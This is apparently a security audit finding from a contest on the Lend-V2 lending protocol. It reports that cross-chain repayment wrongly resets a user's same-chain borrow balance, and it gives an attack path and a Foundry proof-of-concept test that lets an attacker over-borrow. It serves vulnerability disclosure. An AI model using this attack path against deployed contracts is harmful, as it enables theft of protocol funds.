Boxy Brunette Goblin

High

# The attacker will utilize repayCrossChainBorrow() to reset borrow Balance and will be able to borrow more than they should

### Summary

In `CoreRouter.repayBorrowInternal()`, it will update the borrow balance of the user even it's called from the cross chain function.
The attacker can utilize this to reset the borrow balance of him and borrow more tokens again and again.

### Root Cause

Here is the flow of **repayCrossChainBorrow()**.
`CrossChainRouter.repayCrossChainBorrow()` -> `repayCrossChainBorrowInternal()` -> `_handleRepayment()` ->  `CoreRouter.repayCrossChainLiquidation()` -> `CoreRouter.repayBorrowInternal()`.

In this case, `_isSameChain` is false in `repayBorrowInternal()`.
```solidity
  if (_isSameChain) {
      borrowedAmount = lendStorage.borrowWithInterestSame(borrower, _lToken);
  } else { //@audit: when _isSameChain is false, borrowedAmount is calculated from cross chain borrows and collaterals
      borrowedAmount = lendStorage.borrowWithInterest(borrower, _lToken);
  }
  ...
  // Update same-chain borrow balances
  // @audit: The comment says it updates same-chain borrow balances.
  // But it's also updated when it's from cross chain functions. 
  if (repayAmountFinal == borrowedAmount) {  
      lendStorage.removeBorrowBalance(borrower, _lToken);
      lendStorage.removeUserBorrowedAsset(borrower, _lToken);
  } else {
      lendStorage.updateBorrowBalance(
          borrower, _lToken, borrowedAmount - repayAmountFinal, LTokenInterface(_lToken).borrowIndex()
      );
  }
```

`lendStorage.borrowBalance` is used to record the borrowed amount on the same chain, but it's updated by the cross chain function.

#LOC
https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L472-L476
https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L492-L500

### Internal Pre-conditions

N/A

### External Pre-conditions

1. tokenA and tokenB are supported tokens.
   tokenB is a destination token of tokenA.
2. Chain A has tokenA
3. Chain B has tokenB

### Attack Path

1. The attacker borrows some tokenBs on chain B.
2. The attacker borrows small amount of tokens on chain A using `borrowCrossChain()`.
3. The attacker can repay that small amount of tokens using `repayCrossChainBorrow()`.
    This resets the borrow balance of the attacker on chain B by mistake.
4. The attacker can now borrow more amount of tokenBs.

### Impact

The attacker will utilize this to reset the borrow balance of him and borrow more amount.
The protocol will lose their funds.
When `repayCrossChainBorrow()` is performed, it will cause incorrect update on borrow balance and it will affect many other features of the contract like liquidation.

### PoC

Please add the following function to `TestBorrowingCrossChain.t.sol`.
It proves that `repayCrossChainBorrow()` can reset the borrowed balance.

```solidity
function test_cross_chain_borrow_reset_borrow_balance(uint256 amountToSupply, uint256 amountToBorrow)
    public
{
    amountToSupply = bound(amountToSupply, 1e18, 1e30);

    vm.deal(address(routerA), 1 ether);

    (address tokenA, address ltokenA) = _supplyA(amountToSupply);
    (address tokenB, address ltokenB) = _supplyB(amountToSupply * 2);

    uint256 maxBorrow = (lendStorageA.getMaxBorrowAmount(deployer, ltokenA) * 0.9e18) / 1e18;

    uint256 borrowAmount = bound(amountToBorrow, 0.1e18, maxBorrow);

    vm.startPrank(deployer);

    // Borrows 20 tokens on chain B
    coreRouterB.borrow(20, tokenB);
    LendStorage.BorrowMarketState memory borrowBalanceB = lendStorageB.getBorrowBalance(deployer, ltokenB);
    assertEq(borrowBalanceB.amount, 20, "Borrow balance should be 20 after borrow");

    // Now it will reset this borrowed balance using cross chain repayment
    borrowAmount = 10;
    // Execute borrow
    routerA.borrowCrossChain(borrowAmount, tokenA, CHAIN_B_ID);

    // Confirm that dest token is token B        
    address destToken = lendStorageA.underlyingToDestUnderlying(tokenA, CHAIN_B_ID);
    assertEq(tokenB, destToken, "Token should match");

    // Confirm that there is a collateral on chain B
    LendStorage.Borrow[] memory userCrossChainCollaterals = lendStorageB.getCrossChainCollaterals(deployer, destToken);
    assertEq(userCrossChainCollaterals[0].principle, borrowAmount, "Borrow principle should match");

    // Executes repayment to reset the balance
    IERC20(tokenB).approve(address(coreRouterB), 10);
    routerB.repayCrossChainBorrow(deployer, 10, ltokenB, uint32(block.chainid));
    
    // Check the borrowed balance againss
    borrowBalanceB = lendStorageB.getBorrowBalance(deployer, ltokenB);
    assertEq(borrowBalanceB.amount, 20, "Borrow balance should be still 20 after repay cross chain");

    vm.stopPrank();
}
```

### Mitigation

_No response_